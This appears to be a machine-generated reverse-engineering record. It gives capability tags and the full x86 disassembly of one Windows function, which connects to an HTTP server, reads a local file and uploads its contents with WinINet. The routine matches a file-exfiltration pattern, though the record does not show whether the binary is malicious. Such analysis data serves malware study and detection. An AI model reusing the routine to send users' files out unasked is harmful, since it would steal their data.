Function at 0x42cbfa
Capabilities:
Connect to http server
Create http request
Get file size
Read and send data from client to server
Read file on windows
Send data
Send http request

Disassembly:
push 0x6a0
mov eax, 0x474a3e
call fcn.0044b825
mov eax, dword [ebp + 8]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 0x492028
mov dword [ebp - 0x6a4], eax
mov esi, ecx
mov byte [ebp - 0x69d], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
je 0x42cfc0
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push 0x493bb8
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x6a8], eax
cmp eax, ebx
je 0x42cfc0
xor eax, eax
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x68], ebx
mov word [ebp - 0x78], ax
mov dword [ebp - 4], ebx
mov edi, 0x200
lea eax, [ebp - 0x690]
mov dword [ebp - 0x69c], ebx
mov dword [ebp - 0x698], edi
mov dword [ebp - 0x694], eax
mov eax, 0xfde9
push eax
mov byte [ebp - 4], 1
push 0xffffffffffffffff
push dword [esi + 4]
lea ecx, [ebp - 0x40]
call fcn.00409428
mov dword [ebp - 0x6ac], eax
mov eax, 0xfde9
push eax
mov byte [ebp - 4], 2
push 0xffffffffffffffff
push dword [esi]
lea ecx, [ebp - 0x5c]
call fcn.00409428
mov esi, eax
lea eax, [ebp - 0x69c]
push eax
mov ecx, 0x493bd0
call fcn.0040f0ce
push eax
mov eax, esi
call fcn.0040e3bf
push eax
mov ecx, 0x493bc8
call fcn.0040f0ce
push eax
mov eax, dword [ebp - 0x6ac]
call fcn.0040e3bf
add esp, 0x28
push ebx
push 1
lea ecx, [ebp - 0x5c]
call fcn.004063d7
push ebx
push 1
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
call fcn.004063d7
mov eax, dword [ebp - 0x694]
mov ecx, dword [ebp - 0x69c]
push ebx
push 0x806cc200
push ebx
push ebx
push ebx
mov byte [eax + ecx], bl
push dword [ebp - 0x694]
push 0x493ac4
push dword [ebp - 0x6a8]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x6ac], eax
cmp eax, ebx
je 0x42cf9b
lea eax, [ebp - 0x40]
call fcn.0042cfcc
mov byte [ebp - 4], 3
call fcn.0045114a
mov esi, 0xffff
and eax, esi
push eax
call fcn.0045114a
and eax, esi
push eax
call fcn.0045114a
and eax, esi
push eax
call fcn.0045114a
and eax, esi
push eax
lea eax, [ebp - 0x24]
push 0x493bec
push eax
call fcn.0042d03f
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.0042cfe6
lea eax, [ebp - 0x5c]
push eax
lea esi, [ebp - 0x40]
call fcn.0042d058
pop ecx
cmp dword [ebp - 0x48], 0x10
mov eax, dword [ebp - 0x5c]
jae 0x42cdac
lea eax, [ebp - 0x5c]
push 0x20000000
push 0xffffffffffffffff
push eax
push dword [ebp - 0x6ac]
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
lea eax, [ebp - 0x278]
mov dword [ebp - 0x284], ebx
mov dword [ebp - 0x280], edi
mov dword [ebp - 0x27c], eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x490], ebx
mov dword [ebp - 0x48c], edi
mov dword [ebp - 0x488], eax
lea eax, [ebp - 0x284]
push eax
mov ecx, 0x493cb4
mov byte [ebp - 4], 6
call fcn.0040f0ce
push eax
lea eax, [ebp - 0x40]
call fcn.0040e3bf
mov esi, 0x493c60
push eax
mov ecx, esi
call fcn.0040f0ce
push eax
mov ecx, 0x493c68
call fcn.0040f0ce
push eax
mov ecx, esi
call fcn.0040f0ce
push eax
mov ecx, 0x493c38
call fcn.0040f0ce
push eax
mov ecx, 0x493c30
call fcn.0040f0ce
lea eax, [ebp - 0x490]
push eax
mov ecx, 0x493cc0
call fcn.0040f0ce
push eax
lea eax, [ebp - 0x40]
call fcn.0040e3bf
push eax
mov ecx, 0x493cb8
call fcn.0040f0ce
add esp, 0x28
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push dword [ebp - 0x6a4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x6a8], eax
cmp eax, 0xffffffff
je 0x42cf51
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [ebp - 0x490]
add esi, dword [ebp - 0x284]
mov dword [ebp - 0x6a4], eax
add esi, eax
push esi
call fcn.0044a56c
mov ecx, dword [ebp - 0x27c]
mov edi, eax
mov eax, dword [ebp - 0x284]
push eax
mov byte [ecx + eax], bl
push dword [ebp - 0x27c]
push edi
call fcn.0044a7f0
add esp, 0x10
push ebx
lea eax, [ebp - 0x6a4]
push eax
push dword [ebp - 0x6a4]
mov eax, dword [ebp - 0x284]
add eax, edi
push eax
push dword [ebp - 0x6a8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x490]
mov ecx, dword [ebp - 0x488]
push eax
mov byte [ecx + eax], bl
mov eax, dword [ebp - 0x284]
push dword [ebp - 0x488]
add eax, edi
add eax, dword [ebp - 0x6a4]
push eax
call fcn.0044a7f0
add esp, 0xc
push dword [ebp - 0x6a8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push edi
push ebx
push ebx
push dword [ebp - 0x6ac]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x42cf51
mov byte [ebp - 0x69d], 1
lea eax, [ebp - 0x484]
cmp dword [ebp - 0x488], eax
je 0x42cf6b
push dword [ebp - 0x488]
call fcn.0044c187
pop ecx
lea eax, [ebp - 0x278]
cmp dword [ebp - 0x27c], eax
je 0x42cf85
push dword [ebp - 0x27c]
call fcn.0044c187
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5c]
call fcn.004063d7
push ebx
push 1
lea ecx, [ebp - 0x40]
call fcn.004063d7
lea eax, [ebp - 0x690]
cmp dword [ebp - 0x694], eax
je 0x42cfb5
push dword [ebp - 0x694]
call fcn.0044c187
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x78]
call fcn.0040363d
mov al, byte [ebp - 0x69d]
call fcn.0044b8a8
ret